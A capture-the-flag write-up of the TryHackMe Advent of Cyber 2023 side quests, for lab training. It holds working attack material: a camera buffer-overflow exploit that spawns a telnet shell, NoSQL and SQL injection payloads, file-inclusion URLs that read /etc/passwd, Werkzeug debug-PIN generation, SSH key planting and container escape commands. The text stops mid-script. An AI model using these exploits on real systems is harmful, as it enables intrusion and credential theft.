In addition to the Advent of Cyber 2023 room
, we have an annex Side Quest task at our disposal.
Four rooms need to be completed to finish the Christmas
side quests challenge:
- The key is divided into four QRcode parts. Find them all (put them together) and uncover the link to the first challenge;
- The key will be hidden in one of the challenges of the main Advent of Cyber 2023 event between Day 2 and Day 8;
- The key will be hidden in one of the challenges of the main Advent of Cyber 2023 event between Day 9 and Day 16;
- The key will be hidden in one of the challenges of the main Advent of Cyber 2023 event between Day 17 and Day 24.
To access this first room
, we have to browse the TryHackMe
social networks:
- The first part of the QRcode
https://assets.tryhackme.com/additional/aoc2023/6d156/50af2.png
image is in theTask 5
tab of our side questsroom
; - The second part
https://assets.tryhackme.com/additional/aoc2023/b3620/e94fa.png
is pinned on their Discord (posted byLorestil
on November 28, 2023)#aoc-2023-side-quest
channel; - The third part
https://assets.tryhackme.com/additional/aoc2023/5d60a/809cd.png
is on their LinkedIn7135598321280188416
post; - The last part
https://assets.tryhackme.com/additional/aoc2023/2f7f8/0f93a.png
is on their Twitter1730184898365767880
post.
To avoid making the writeup more cumbersome, we will not go deeper into details on the simple tasks.
We have access to the first https://tryhackme.com/jr/adv3nt0fdbopsjcap
room easily, using the TryHackMe
QRcode Decoder website or ZXing page.
We have to download a zip
VanSpy.pcapng.zip archive containing the VanSpy.pcapng
PacketCAPture NextGeneration dump file.
The TShark command-line network protocol analyzer (as Wireshark
) will help us digging into the capture file:
$ unzip VanSpy.pcapng.zip
# To get the "Service Set IDentifier" value | https://github.com/praetorian-inc/Hob0Rules/blob/master/wordlists/rockyou.txt.gz
$ tshark -r VanSpy.pcapng -T fields -e _ws.col.Info | grep -e 'SSID.*'
"Beacon frame, SN=0, FN=0, Flags=........, BI=100, SSID=FreeWifiBFC"
# To bruteforce the "Wi-Fi Protected Access" password
$ aircrack-ng VanSpy.pcap -w rockyou.txt
# To view the data from "mimikatz.exe" usage
$ tshark -r VanSpy.pcapng -o 'wlan.enable_decryption:TRUE' -o 'uat:80211_keys:"wpa-pwd","..."' -Y 'tcp.stream eq 1005' -e 'data' -Tfields | xxd -r -p
# Then export the Personal Information Exchange file from the TCP stream
$ echo MIIJuQ.......CAgfQ | base64 -d > LOCAL_MACHINE_Remote Desktop_0_INTERN-PC.pfx
# To convert pfx to pem data.
$ openssl pkcs12 -in LOCAL_MACHINE_Remote Desktop_0_INTERN-PC.pfx -out key.pem -nodes
# To view the "Remote Desktop Protocol" packets with the Privacy-Enhanced Mail file
$ tshark -r VanSpy.pcapng -o 'wlan.enable_decryption:TRUE' -o 'uat:80211_keys:"wpa-pwd","..."' -o 'tls.keys_list:10.x.x.x,3389,tpkt,key.pem,1.log' -Y 'tcp.port==3389'
# To convert pcapng to pcap file for readability
$ tshark -F pcap -r VanSpy.pcapng -w VanSpy.pcap
# To see the RDP capture video, following the pyRDP documentation on the Docker image
$ python3 pyrdp-convert.py VanSpy.pcap -o folder.pyrdp
"2023_10.0.0.2_55510-10.1.1.1_3389.pyrdp: data"
# We find the CyberPolice case number and the final flag
$ python3 pyrdp-player.py
"[...] For your reference, the case number is ..."
"CLIPBOARD DATA: ..."
- What's the name of the WiFi network in the PCAP?
50b968d7df42b0be3b076307160f4322
- What's the password to access the WiFi network?
81b616fbff55b8698d44852f45c08630
- What suspicious tool is used by the attacker to extract a juicy file from the server?
f919dae19feb305580376429ff21775c
- What is the case number assigned by the CyberPolice to the issues reported by McSkidy?
983505113ed3818834e8aa7f57e37ab2
- What is the content of the yetikey1.txt file?
d36b2be7285ac33151d405537935f807
Once finished, we wait on the days to pass to get more clues in the Advent of Cyber 2023 room
to find the next side quest.
We check each challenge between Day 2 and 8
to realize that something is weird on the Day 6
(Memory corruption) Memories of Christmas Past task:
Van Jolly still thinks the Ghost of Christmas Past is in the game. She says she has seen it with her own eyes! She thinks the Ghost is hiding in a glitch, whatever that means. What could she have seen?
After solving the Day 6
challenge, while searching on the https://lab_web_url.p.thmlabs.com/index.data.gz
code with WABT or Cetus tool, we came across some incongruous dialogues that intrigued us:
G.O.C.P.
According to the legend, a cat named Snowball will arrive at this place one day
He will meet with Midas the greedy merchant, and Ted the name switcher
He'll bring exactly 31337 coins and the token of the Yeti
When all these conditions are met, input the 30 lives secret code and what's hidden shall be revealed
I hHunt this g---ame s1nce its creati0n. Didn't y-u bellllieve the Frostlings?
How come you don't speak glitchy anymore?
Is that a Yeti Token? I'm afraid it's a fake one. The original one glows blue. Maybe I could sell it to you for a price instead?
This 1tem w@s f0rb1dden l0ng aGo... How d_d you ev3n gGet it??
0123456789.EE?-?0x%.4x/0x%.4x=
We could bypass these steps by using the "assets/qr.map" part in the index.data
file in order to generate the QRcode image directly with a Python one-liner.
By reading the code, if we enter zzzzzzzzzzzzzzzz
(or similar, claiming 16
coins maximum) value as an username and buy from the shop
an element with the ID a
this will make the glitched G.O.C.P.
Non-Player Character appear:
# We display the ASCII text, by pressing the TAB keyboard key on the game
aaaa player_name
bbbb
cccc
dddd coins
eeee shopk_name
ffff
gggg
hhhh namer_name
iiii
jjjj
kkkk values
llll inv_items
mmmm
nnnn
oooo
# Writing any value successively as "username" will be followed by nullbyte (00 in hexadecimal)
At each entrance close to the corners, we will subtract part of our budget to put z{
(with two 00
nullbytes) value to have a little more money than expected, buy the Yeti
badge, set the valid usernames (followed by nullbytes) and buying 11
objects from the shop
as (31564-31337 coins) -120-16-16-10-10-10-10-10-10-10-5 == 0
to have the 31337
coins requested.
We will activate the ????
Ghost whispering NPC with the 30 lives secret
Konami code and the QRcode https://tryhackme.com/jr/armageddon2R
will show:
We run a Nmap Network Mapper scan and realize that we have an unknown
port managing an Emux ARMX Firmware Emulation Framework
camera service:
ubuntu@tryhackme:~$ nmap -sS 10.10.x.x -p0-65535
PORT STATE SERVICE
22/tcp open ssh
23/tcp open telnet
8080/tcp open http-proxy (web internal)
50628/tcp open unknown (camera)
With the Trivision
camera reference, it doesn't take much time to find, craft and run a Python exploit.py script granting us a shell
on the machine.
buf = b"A" * 284
buf += b'X\x0b\x06@'
buf += b"BBBB"
buf += b"CCCC"
buf += b'\x9c\x07\x06@'
buf += b'\x98J\x05@'
buf += b"telnetd${IFS}-l/bin/sh;#"
buf += b"C"*(400-len(buf));
req = b"GET /form/liveRedirect?lang=%s HTTP/1.0\n" % buf + b"Host: BBBBBBBBBBBB\nUser-Agent: ARM/exploitlab\n\n"
s = __import__("socket").socket(__import__("socket").AF_INET, __import__("socket").SOCK_STREAM)
s.connect(("10.10.x.x", 50628)); s.send(req); s.recv(100);__import__("time").sleep(2)
tn = __import__("telnetlib").Telnet("10.10.x.x",23); tn.interact()
We then run a Grep command mechanically to get the first flag:
BusyBox v1.21.1 built-in shell (ash)
$ grep -r /home/web -e 'THM'
grep: ./web/config.cfg: No such file or directory
./web/en/account/acclist.asp: <td colspan="3"><input type=RADIO name=AUTHMETHOD value=basic <% getConfCheck("sys", "security", "AUTHMETHOD", "basic"); %>>
./web/en/account/acclist.asp: <td colspan="3"><input type=RADIO name=AUTHMETHOD value=daa <% getConfCheck("sys", "security", "AUTHMETHOD", "daa"); %>>
./web/en/player/mjpeg_vga.asp: <h1>THM{...}</h1>
For the rest of the room
, we are not obliged to go through an internal proxy of the camera nor exploiting it getting umconfig password as an unintended way to access the login.php
page, but we will simply add a character /
slash on the page which will allow us to bypass the access restrictions.
Running folders crawling tools like Nuclei, Fuff with some SecLists, we came across the http://10.10.x.x:8080/vendor/composer/installed.json
file making us understand that MongoDB is used and could potentially be exploited:
{
"packages": [
{
"name": "jean85/pretty-package-versions",
"version": "2.0.5",
"version_normalized": "2.0.5.0",
"source": {
"type": "git",
"url": "https://github.com/Jean85/pretty-package-versions.git",
"reference": ""
},
"dist": {
"type": "zip",
"url": "https://api.github.com/repos/Jean85/pretty-package-versions/zipball/ae547e455a3d8babd07b96966b17d7fd21d9c6af",
"reference": "",
"shasum": ""
},
"require": {
"composer-runtime-api": "^2.0.0",
"php": "^7.1|^8.0"
}, "install-path": "../jean85/pretty-package-versions"
},
{
"name": "mongodb/mongodb",
"version": "1.17.0",
"version_normalized": "1.17.0.0",
"source": {
"type": "git",
"url": "https://github.com/mongodb/mongo-php-library.git",
"reference": ""
},
"dist": {
"type": "zip",
"url": "https://api.github.com/repos/mongodb/mongo-php-library/zipball/9d9c917cf7ff275ed6bd63c596efeb6e49fd0e53",
"reference": "",
"shasum": ""
},
"require": {
"ext-hash": "*",
"ext-json": "*",
"ext-mongodb": "^1.17.0",
"jean85/pretty-package-versions": "^2.0.1",
"php": "^7.4 || ^8.0",
"psr/log": "^1.1.4|^2|^3",
"symfony/polyfill-php80": "^1.27",
"symfony/polyfill-php81": "^1.27"
},
"installation-source": "source",
"autoload": {
"files": [
"src/functions.php"
],
"psr-4": {
"MongoDB\\": "src/"
}
},
"description": "MongoDB driver library",
"homepage": "https://jira.mongodb.org/browse/PHPLIB",
"keywords": [
"database",
"driver",
"mongodb",
"persistence"
],
"support": {
"issues": "https://github.com/mongodb/mongo-php-library/issues",
"source": "https://github.com/mongodb/mongo-php-library/tree/1.17.0"
},
"install-path": "../mongodb/mongodb"
},
], "dev": true, "dev-package-names": []
}
We therefore bruteforce the login http://10.10.x.x:8080/login.php/
page with MongoDB
exploitation tool to retrieve usernames
and passwords
from the database:
ubuntu@tryhackme:~$ python2 nosqli-user-pass-enum.py -u http://10.10.x.x:8080/login.php/ -up username -pp password -ep username -op login:login,submit:submit -m POST
# We test/mix them all to finally reach the username administrator "Frosteau" to recover the flag
Scroogestein :advEpXUBKt3bZjk3aHLR
Tinselova :F6Ymdyzx9C1QeNOcU7FD
Frosteau :............ (admin)
# There were more passwords hash than public users
ubuntu@tryhackme:~$ curl http://10.10.x.x:8080/index.php/ -u Frosteau:...
"""
Dashboard, Logout
Welcome Frosteau!
Important Notes
yetikey2.txt
Number of closed cases: 531
Average response time: 3 mins
Number of open cases: 1
Success rate: 99.9%
Police Department
"""
- What is the content of the first flag?
5ba2bc42a266be024536ad6b2402fc01
- What is the content of the yetikey2.txt file?
7852a6a3e8be7cb1de0e5eb8170eaa55
From the Day 11
(Active Directory) Jingle Bells, Shadow Spells task:
Van Sprinkles left some stuff around the DC. It's like a secret message waiting to be unravelled!
Once this part is completed, we list the available folders from the Domain Controller to find interesting files:
ubuntu@tryhackme:~$ *Evil-WinRM* PS C:/Users/vansprinkles> ls # C:/ProgramData/Amazon/EC2-Windows/Launch/Log/WallpaperSetup.log
Mode LastWriteTime Length Name
---- ------------- ------ ----
d-r--- 3/17/2021 3:13 PM 3D Objects
d-r--- 3/17/2021 3:13 PM Contacts
d-r--- 11/22/2023 10:56 AM Desktop
d-r--- 11/22/2023 10:56 AM Documents
d-r--- 3/17/2021 3:13 PM Downloads
d-r--- 3/17/2021 3:13 PM Favorites
d-r--- 3/17/2021 3:13 PM Links
d-r--- 3/17/2021 3:13 PM Music
d-r--- 11/22/2023 10:40 AM Pictures
d-r--- 3/17/2021 3:13 PM Saved Games
d-r--- 3/17/2021 3:13 PM Searches
d-r--- 3/17/2021 3:13 PM Videos
ubuntu@tryhackme:~$ *Evil-WinRM* PS C:/Users/Administrator/Desktop/chatlog_files> ls # C:/Users/Administrator/Desktop/chatlog.html
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 11/22/2023 10:29 AM 160403 bootstrap.min.css
-a---- 11/22/2023 10:29 AM 730 main.css
-a---- 11/22/2023 10:29 AM 12997 mcgreedy.png
-a---- 11/22/2023 10:29 AM 744820 Screenshot 2023-11-22 034711.png
-a---- 11/22/2023 10:29 AM 882432 Screenshot 2023-11-22 034941.png
-a---- 11/22/2023 10:29 AM 18949 vansprinkles.png
-a---- 11/22/2023 10:29 AM 15796 yeti.png
Reading the chatlog.html
code, we realize quickly that the aCropalypse vulnerability is possible on one of the screenshot PNG
image:
<!DOCTYPE html>
<html lang="en">
<head>
<link rel='stylesheet' href='chatlog_files/bootstrap.min.css'><link rel='stylesheet' href='chatlog_files/main.css'>
</head>
<body>
<main class="content">
<div class="container p-0">
<h1 class="h3 mb-3">AntarctiChat</h1>
<div class="card">
<div class="row g-0">
<div class="col-12 col-lg-7 col-xl-9">
<div class="position-relative">
<div class="chat-messages p-4">
<div class="chat-message-right pb-4">
<div>
<img src="chatlog_files/vansprinkles.png" class="avatar rounded-circle mr-1" alt="Van Sprinkles" width="40" height="40">
<div class="text-muted small text-nowrap mt-2">2:33 am</div>
</div>
<div class="flex-shrink-1 bg-light rounded py-2 px-3 mr-3">
<div class="font-weight-bold mb-1">You</div>
<a href="chatlog_files/Screenshot-2023-11-22-034711.png"><img src="chatlog_files/Screenshot-2023-11-22-034711.png" class="mr-1" alt="Image" width="256" height="108"></a>
</div>
</div>
<div class="chat-message-left pb-4">
<div>
<img src="chatlog_files/mcgreedy.png" class="rounded-circle mr-1" alt="McGreedy" width="40" height="40">
<div class="text-muted small text-nowrap mt-2">2:34 am</div>
</div>
<div class="flex-shrink-1 bg-light rounded py-2 px-3 ml-3">
<div class="font-weight-bold mb-1">McGreedy</div> Yes yes yes! It's perfect! And stop sending screenshots of your full screen. You may end up leaking stuff!
</div>
</div>
<div class="chat-message-left pb-4">
<div>
<img src="chatlog_files/mcgreedy.png" class="rounded-circle mr-1" alt="McGreedy" width="40" height="40">
<div class="text-muted small text-nowrap mt-2">2:34 am</div>
</div>
<div class="flex-shrink-1 bg-light rounded py-2 px-3 ml-3"><div class="font-weight-bold mb-1">McGreedy</div>WHAT DID I JUST SAY ABOUT SCREENSHOTS???</div>
</div>
<div class="chat-message-right pb-4">
<div>
<img src="chatlog_files/vansprinkles.png" class="avatar rounded-circle mr-1" alt="Van Sprinkles" width="40" height="40">
<div class="text-muted small text-nowrap mt-2">2:33 am</div>
</div>
<div class="flex-shrink-1 bg-light rounded py-2 px-3 mr-3"><div class="font-weight-bold mb-1">You</div> Alright, alright. I've deleted it. Here's a cropped version of it</div>
</div>
<div class="chat-message-right pb-4">
<div>
<img src="chatlog_files/vansprinkles.png" class="avatar rounded-circle mr-1" alt="Van Sprinkles" width="40" height="40">
<div class="text-muted small text-nowrap mt-2">2:33 am</div>
</div>
<div class="flex-shrink-1 bg-light rounded py-2 px-3 mr-3">
<div class="font-weight-bold mb-1">You</div>
<a href="chatlog_files/Screenshot-2023-11-22-034941.png"><img src="chatlog_files/Screenshot-2023-11-22-034941.png" class="mr-1" alt="Image" width="200" height="108"></a>
</div>
</div>
</div>
</div>
<div class="flex-grow-0 py-3 px-4 border-top"><div class="input-group"><input type="text" class="form-control" placeholder="Type your message"><button class="btn btn-primary">Send</button></div></div>
</div>
</div>
</div>
</div>
</main>
</body>
</html>
We then run the ACropalypse-Multi gui.py
restoring tool (tweaking on Windows 11 Snipping Tool
& 2560x1080
pixels options) to get the cropped data from the Screenshot-2023-11-22-034941.png
image to view the https://tryhackme.com/jr/busyvimfrosteau
room link!
We launch a Nmap
scan to see the network ports used:
ubuntu@tryhackme:~$ nmap -sS 10.10.x.x -p0-65535
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8065/tcp open unknown (busybox/docker)
8075/tcp open ftp (ftp)
8085/tcp open unknown (vim)
8095/tcp open unknown (nano)
We have access to a BusyBox (without /tmp/sh
usage) toolbox, a FTP (with the anonymous
username, passwordless) endpoint, a Nano interactive text editor and a Vim command-line interface (all of this in a Docker container).
We start on the Vim
text editor with nc 10.10.x.x 8085
netcat connection:
# Custom file on "/etc/file/busybox ftpd" with wrong permissions could allow us to bypass uploading part
ubuntu@tryhackme:~$ nc 10.10.x.x 8085
VIM - Vi IMproved
version 8.2.1847
# Checking the VIM packages to see that the "python3" plugin is (un)fortunately present
:version
"""
+autochdir +folding +multi_lang +terminal
+cmdline_compl +lambda +profile +vim9script
+cmdline_hist +langmap -python +viminfo
+cmdline_info +libcall +python3 +virtualedit
+comments +linebreak +quickfix +visual
"""
# Digging some folders and files in the Ex mode
:ex .
" :ex .
" Sorted by name
" Sort sequence: [\/]$,\<core\%(\.\d\+\)\=\>,\.h$,\.c$,\.cpp$,\~\=\*$,*,\.o$,\ "
" Quick Help: <F1>:help -:go up dir D:delete R:rename s:sort-by x:special "
" ============================================================================== "
boot/
dev/
etc/
home/
media/
mnt/
opt/
proc/
root/
run/
srv/
sys/
tmp/
usr/
var/
.dockerenv
# We can therefore find and read any (.txt) file
:py3 print(__import__("pathlib").Path(list(__import__("pathlib").Path.cwd().rglob("flag-*.txt"))[0]).read_text());
THM{...}
We can also use the FTP
to read or upload files with ftp 10.10.x.x 8075
command:
# We can use the FTP to read any (.sh) file
ubuntu@tryhackme:/tmp$ ftp 10.10.x.x 8075
200 Operation successful
150 Directory listing
total 8132
-rw-r--r-- 1 0 0 3010 Nov 5 18:49 FROST-2247-SP.txt
-rw-r--r-- 1 0 0 3211 Nov 5 18:50 YETI-1125-SP.txt
-rw-r--r-- 1 0 0 2127524 Nov 5 18:54 frostling_base.png
-rw-r--r-- 1 0 0 2305908 Nov 5 18:54 frostling_five.png
-rw-r--r-- 1 0 0 1589463 Nov 5 18:54 yeti_footage.png
-rw-r--r-- 1 0 0 2277409 Nov 5 18:54 yeti_mugshot.png
-rw-r--r-- 1 0 0 24 Nov 5 19:06 flag-1-of-4.txt
-rwxrwxrwx 1 0 0 12 Nov 5 19:07 flag-2-of-4.sh
226 Operation successful
# To get the bash file
ftp> get flag-2-of-4.sh
# We see that the second flag is available as environmental variable
$ echo $FLAG2; env
Since we have a Vim error of Cannot execute shell /tmp/sh
and that the Ubuntu (on 8065
port) didn't respond,
we will use a bash
static binary (or one in the AttackBox
virtual machine) uploaded on the FTP
, with the correct access permissions thanks to Vim
and move the bash
binary using rooted Nano
v6.2 editor with telnet 10.10.x.x 8095
connection to get the final flag.
On the remote https://vnc.tryhackme.tech/index.html?host=proxy.tryhackme.tech&password=&proxyIP=&resize=remote
link, we could use Virtual Network Computing CTRL
buttons and keyboard shortcuts on Nano
as:
CTRL+R
Inserting a file into the current one;CTRL+T
Listing the folders and files;CTRL+R
thenCTRL+X
ExecutingUnix
command;CTRL+X
Exiting the current graphical user interface.
# Putting a static bash file to the /tmp/ftp folder
ubuntu@tryhackme:/tmp$ ftp 10.10.x.x 8075
ftp> put sh
# Copying the sh binary to /tmp/ and set the chmod "a+rwx,u-w,g-rw,o-rw" permissions in Vim
ubuntu@tryhackme:/tmp$ nc 10.10.x.x 8085
:py3 __import__("shutil").copyfile("/tmp/ftp/sh","/tmp/sh");__import__("os").chmod("/tmp/sh",511)
# We can use the "/tmp/busybox" binary to execute missing commands within Nano
ubuntu@tryhackme:/tmp$ telnet 10.10.x.x 8095
sh-5$ ^R^X
sh-5$ /tmp/busybox cp /tmp/sh /usr/frosty/sh
sh-5$ exit
ubuntu@tryhackme:/tmp$ telnet 10.10.x.x 8065
Trying 10.10.x.x...
Connected to 10.10.x.x.
Escape Character is '^]'.
Ubuntu 22.04.3 LTS
ubuntu@busybusybox:/tmp$ /tmp/busybox ls
busybox ftp nano sh vim
# Getting the third flag
ubuntu@busybusybox:/root$ /tmp/busybox cat flag-3-of-4.txt
# uid=0(root) gid=0(root) groups=0(root)
ubuntu@busybusybox:/$ /tmp/busybox find . -type f -name "*.sh" && /tmp/busybox cat /usr/special/protector.sh
./tmp/ftp/flag-2-of-4.sh
./usr/share/vim/vim82/macros/less.sh
./usr/special/protector.sh
./etc/bootstrap.sh
#!/usr/special/bash
echo "Password has been configured, please provide password to access this service:"
read varname
echo "Password given was $pass"
if [ $1=$pass ]
then /usr/special/sh
else echo "Incorrect password, goodbye"
fi
# Verifying that we were on a Docker container, given the presence of the above ".dockerenv" empty file
ubuntu@busybusybox:/$ /tmp/busybox ps -ef | /tmp/busybox grep -i "docker"
1200 root /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock
3510 root /usr/bin/docker-proxy -proto tcp -host-ip 0.0.0.0 -host-port 65510 -container-ip 170.x.x.x -container-port 65510
# From excessive capabilities, the "/proc/1/root/etc/hostname" should not be different from the "/etc/hostname" but it is here
ubuntu@busybusybox:/$ /tmp/busybox cat /proc/1/root/etc/hostname /etc/hostname
tryhackme
busybusybox
ubuntu@busybusybox:/$ /tmp/busybox ls /proc/1/root/root/
flag-4-of-4.txt snap yetikey3.txt
# Getting the last flags | https://book.hacktricks.xyz/linux-hardening/privilege-escalation/escaping-from-limited-bash
ubuntu@busybusybox:/$ /tmp/busybox cat /proc/1/root/root/flag-4-of-4.txt /proc/1/root/root/yetikey3.txt
- What is the value of the first flag?
e6c051c0904bf6cf7fb7746a6f819009
- What is the value of the second flag?
93bce88ed05c8deaff202d737ce36eb6
- What is the value of the third flag?
17b70654ff3770f7918de22752ff5cee
- What is the value of the fourth flag?
3b805b6e48b561d20cd00dc40e00c115
- What is the value of the third yetikey3.txt that has been placed in the root directory to verify the compromise?
7084988214ba17eeddbc26cab3ec4373
From the Day 20
(DevSecOps) Advent of Frostlings task:
Detective Frosteau believes it was an account takeover based on the activity. However, Tracy might have left some crumbs.
We connect to the Gitlab proposed in the challenge of day 20
to easily find the qrcode https://tryhackme.com/jr/surfingyetiiscomingtotown
in the commits on http://10.10.x.x/gitlab-instance-dc881f3b/advent-calendar-bfc/-/blob/main/public/images/Day_20_calendar.png
url.
ubuntu@tryhackme:~$ nmap -sS 10.10.x.x -p0-65535
PORT STATE SERVICE
22/tcp open ssh
8000/tcp open http-alt
We end up with an index web page allowing us to download known files from the server:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>The BFG</title>
<style>
html, body { /* Reset margins and paddings for the body and html elements */
margin: 0;
padding: 0;
}
body {
background-image: url('static/imgs/snow.gif');
background-size: cover; /* Adjust the background size */
background-position: center top; /* Center the background image vertically and horizontally */
display: flex;
flex-direction: column;
justify-content: center;
align-items: center;
min-height: 100vh;
background-color: #f0f0f0;
}
.image-container {
text-align: center;
}
.image {
display: inline-block;
margin: 10px;
}
.header {
font-size: 36px;
color: white;
text-align: center;
margin-bottom: 20px;
}
.footer {
font-size: 18px;
color: white;
text-align: center;
}
</style>
</head>
<body>
<div class="header">A new and innovative way to download images! Click on any elf to try it out!</div>
<br>
<div class="image-container">
<a href="/download?id=1"><img src="/static/imgs/mcblue1.svg" style="width:20%"></a>
<a href="/download?id=2"><img src="/static/imgs/mcblue2.svg" style="width:20%"></a>
<a href="/download?id=3"><img src="/static/imgs/mcblue3.svg" style="width:20%"></a>
</div>
<br>
<div class="footer">Beta version 1.0.1</div>
</body>
</html>
If we use the http://10.10.x.x:8000/download?id=1
url it will download the corresponding SVG image from the elfimages
database but on the other hand if we use something else out of bounds, we will come across warning errors:
create schema if not exists elfimages collate utf8mb4_general_ci; create table elves(id int, url_id int, url tinytext);
# The sqlmap "--dump" command makes us tell ourselves that an internal Local File Inclusion "file:///" SSRF is possible
ubuntu@tryhackme:~$ sqlmap -u "http://10.10.x.x:8000/download?id=" --dump
Database: elfimages
Table: elves
[4 entries]
+----+--------+------------------------------------------------+
| id | url_id | url |
+----+--------+------------------------------------------------+
| 1 | 1 | http://127.0.0.1:8000/static/imgs/mcblue1.svg |
| 2 | 2 | http://127.0.0.1:8000/static/imgs/mcblue2.svg |
| 3 | 3 | http://127.0.0.1:8000/static/imgs/mcblue3.svg |
| 4 | 4 | http://127.0.0.1:8000/static/imgs/suspects.png |
+----+--------+------------------------------------------------+
ubuntu@tryhackme:~$ curl http://10.10.x.x:8000/download?id=5
TypeError: The view function for 'download' did not return a valid response. The function either returned None or ended without a return statement.
ubuntu@tryhackme:~$ curl http://10.10.x.x:8000/download?id=6%27
MySQLdb.ProgrammingError: (1064, "You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''6''' at line 1")
File "/home/mcskidy/.local/lib/python3.8/site-packages/flask/app.py", line 1161, in make_response
# dbus-uuidgen --ensure=/etc/machine-id
ubuntu@tryhackme:~$ curl http://localhost:8000/download?id=%27%20union%20select%20%27file:///sys/class/net/eth0/address%27%20--%20-
ubuntu@tryhackme:~$ curl http://localhost:8000/download?id=%27%20union%20select%20%27file:///etc/machine-id%27%20--%20-
Access to the debug http://10.10.x.x:8000/console
path is protected by a pin but fortunately, it is a well-known CTF
case where we have to find a way to recover the pin by retrieving important files from the target machine in order to execute Python commands.
The SQL injection
allows us to download anything via Local File Inclusion
(like the http://10.10.x.x:8000/download?id=%27%20union%20select%20%27file:///etc/passwd%27%20--%20-
/etc/passwd file) which will be used to regenerate the exact same interactive console
pin code!
h = __import__("hashlib").sha1(); num = rv = None # cat /sys/class/net/eth0/address /etc/machine-id
for bit in __import__("itertools").chain(["mcskidy", "flask.app", "Flask", "/home/mcskidy/.local/lib/python3.8/site-packages/flask/app.py"],
[str(int(__import__("binascii").unhexlify("00:00:00:00:00:00".replace(":","")).hex(),16)), "00000000000000000000000000000000"]):
if not bit: continue
if isinstance(bit, str): bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")
if num is None: h.update(b"pinsalt"); num = f"{int(h.hexdigest(), 16):09d}"[:9]
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(num[x:x + group_size].rjust(group_size, "0") for x in range(0, len(num), group_size)); break
else: rv = num
print(rv) # "000-000-000" | https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/werkzeug
It is better to add our own RSA id_rsa.pub
public key on the /home/mcskidy/
path to connect to the host via SSH
, from our machine for stability:
# Generating the ssh key
user@ubuntu:~$ ssh-keygen -q -t rsa -f ~/.ssh/id_rsa -C test -N "" && ssh-keygen -f ~/.ssh/id_rsa -y > ~/id_rsa.pub
user@ubuntu:~$ xclip -sel clip < ~/id_rsa.pub
# On the unlocked "/console" path
>>> __import__("pathlib").Path("/home/mcskidy/.ssh/authorized_keys").write_text("ssh-rsa AAAAB.......[Redacted].......T0= test")
user@ubuntu:~$ ssh [email protected]
mcskidy@proddb:~# sudo -l
Matching Defaults entries for mcskidy on proddb:
env_reset, mail_badpass, secure_path=/home/mcskidy\:/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User mcskidy may run the following commands on proddb:
(root) /usr/bin/bash /opt/check.sh
/usr/bin/bash /opt/check.sh
# Getting the user flag
mcskidy@proddb:~# cat user.txt
import os, pycurl # mcskidy@proddb:~/app$ cat app.py
from io import BytesIO
from flask_mysqldb import MySQL
import MySQLdb.cursors
from flask import Flask, send_from_directory, render_template, request, redirect, url_for, Response
app = Flask(__name__, static_url_path='/static')
app.config['MYSQL_HOST'] = 'localhost' # host.docker.internal
app.config['MYSQL_USER'] = 'mcskidy' # MySQL configuration
app.config['MYSQL_PASSWORD'] = '...'
app.config['MYSQL_DB'] = 'elfimages'
mysql = MySQL(app)
@app.route("/")
def index():
return render_template("index.html")
@app.route("/download")
def download():
file_id = request.args.get('id', '')
if file_id != '':
cur = mysql.connection.cursor()
query = "SELECT url FROM elves where url_id = '%s'" % (file_id)
cur.execute(query)
results = cur.fetchall()
for url in results:
response_buf = BytesIO()
crl = pycurl.Curl()
crl.setopt(crl.URL, url[0])
crl.setopt(crl.WRITEDATA, response_buf)
crl.perform()
crl.close()
resp = Response(response_buf.getvalue())
resp.headers['Content-Type'] = 'image/svg+xml'
resp.headers['Content-Disposition'] = 'attachment'
return resp
else: return 'No file selected... '
if __name__ == "__main__":
app.run(host='0.0.0.0', port=8000, debug=True)
Nevertheless, here is the summary of the sudo privilege escalation commands:
# Importing needed packages
>>> import pwn, glob, os, pathlib, platform, subprocess; # platform.uname()
>>> list(pathlib.Path("/root").rglob("*"))
[] # Empty because we are not root
>>> [_.name for _ in list(__import__("pathlib").Path.cwd().rglob("*"))]
['.git', 'app.py', 'static', 'templates']
# Remembering Gitlab Day 20 task, we look at all the available Git commits
>>> subprocess.Popen(["git","log"],stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE).communicate()
"""
commit c23b1ae2d5c55dd73f26c2176c0d460e964f8b7b (HEAD -> master)
Author: mcskidy <mcskidy@proddb>
Date: Thu Nov 2 15:41:22 2023 +0000
Added new image and made website text more clearer
commit 71eabc70aaa548ac96f850aaf5663633417079db
Author: mcskidy <mcskidy@proddb>
Date: Thu Oct 19 20:03:27 2023 +0000
Fixed images MIME type and removed PDF
commit c1a0b22905cc0da0b5ad88c124125efa626013af
Author: mcskidy <mcskidy@proddb>
Date: Thu Oct 19 20:02:57 2023 +0000
Minor update
"""
# Some commits have the mcskidy password (for sudo, as different cgroups) changed
>>> subprocess.Popen(["git","show","c1a0b22905cc0da0b5ad88c124125efa626013af"],stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE).communicate()
"""
commit c1a0b22905cc0da0b5ad88c124125efa626013af
Author: mcskidy <mcskidy@proddb>
Date: Thu Oct 19 20:02:57 2023 +0000
Minor update
diff --git a/app.py b/app.py
index 8d05622..5765c7d 100644
--- a/app.py
+++ b/app.py
@@ -10,7 +10,7 @@ app = Flask(__name__, static_url_path='/static')
# MySQL configuration
app.config['MYSQL_HOST'] = 'localhost'
app.config['MYSQL_USER'] = 'mcskidy'
-app.config['MYSQL_PASSWORD'] = '...' # password
+app.config['MYSQL_PASSWORD'] = '...'
app.config['MYSQL_DB'] = 'elfimages'
mysql = MySQL(app)
"""
# Reading the check.sh file, we find a weird use of .bashrc
>>> pathlib.Path("/opt/check.sh").read_text();
"""
#!/bin/bash
. /opt/.bashrc
cd /home/mcskidy/
WEBSITE_URL="http://127.0.0.1:8000"
response=$(/usr/bin/curl -s -o /dev/null -w "%{http_code}" $WEBSITE_URL)
# Check the HTTP response code
if [ "$response" == "200" ]; then
/usr/bin/echo "Website is running: $WEBSITE_URL"
else
